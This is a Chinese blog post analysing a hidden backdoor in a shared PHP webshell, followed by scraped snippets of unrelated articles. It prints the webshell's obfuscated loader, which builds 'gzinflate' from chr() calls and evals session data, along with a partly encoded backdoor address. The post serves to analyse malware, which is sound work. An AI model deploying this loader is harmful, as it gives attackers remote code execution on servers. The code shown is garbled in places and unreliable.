一次對php大馬的後門的簡單分析

2021-09-23 12:29:35 字數 1201 閱讀 8644

有人分享了乙個php大馬(說是過waf),八成有後門,簡單分析了一次

<?php 

$password='shiqi';//登入密碼(支援菜刀)

//----------功能程式------------------//

$c="chr";

session_start();

if(empty($_session['phpcode']))

$un=$c(103).$c(122).$c(105).$c(110);

$un.=$c(102).$c(108).$c(97).$c(116).$c(base64_decode('mtax'));

@eval($un($_session['phpcode']));

?>

一共有三個變數,$url、$get、$un,首先對著幾個變數ascii轉成字串,看看是什麼,用echo輸出即可。

就是個簡單的基於base64加gzinflate加密

還原一下:

$password='shiqi';//登入密碼(支援菜刀)

//----------功能程式------------------//

session_start();

if(empty($_session['phpcode']))

$un = "gzinflate";

@eval($un($_session['phpcode']));

?>

後門部分:

在1416行

sfruudovl1dxvy5gqunf**bpsy5dqy9lcnjvci5waha/bmftzt0=通過解碼得出後門位址

收藏

一款免殺php大馬的解密與去後門

然後把東西移動到虛擬機器裡面的php環境中,開啟一看,有加密,用的函式是 先用這個函式base64 decode 然後用這個函式gzuncompress 加密,好的是密文就一塊啊,然後把這一塊全部剪下 重新寫個php檔案 就這個簡單,吼吼 源 一覽無餘啊!看到源 後 ctrl f找這個 http 發...

對udp dns的一次思考

目前昨天查乙個線上問題 dns伺服器在我們的裝置,有大量的終端到裝置上請求解析網域名稱,但是一直是單執行緒,dns報文處理不過來 然而裝置是多核,dns伺服器一直不能利用多核資源,所以能不能使用多執行緒進行處理呢?udp不像tcp那樣,udp沒有連線的概念,也就是沒有通過建立多個連線來提高對dns伺...

對二分查詢程式的一次測試

本文內容 於 程式設計珠璣 第二版5.2節。先看一段程式 public class errirbinary public static int binarysearch int number return 1 param args public static void main string arg...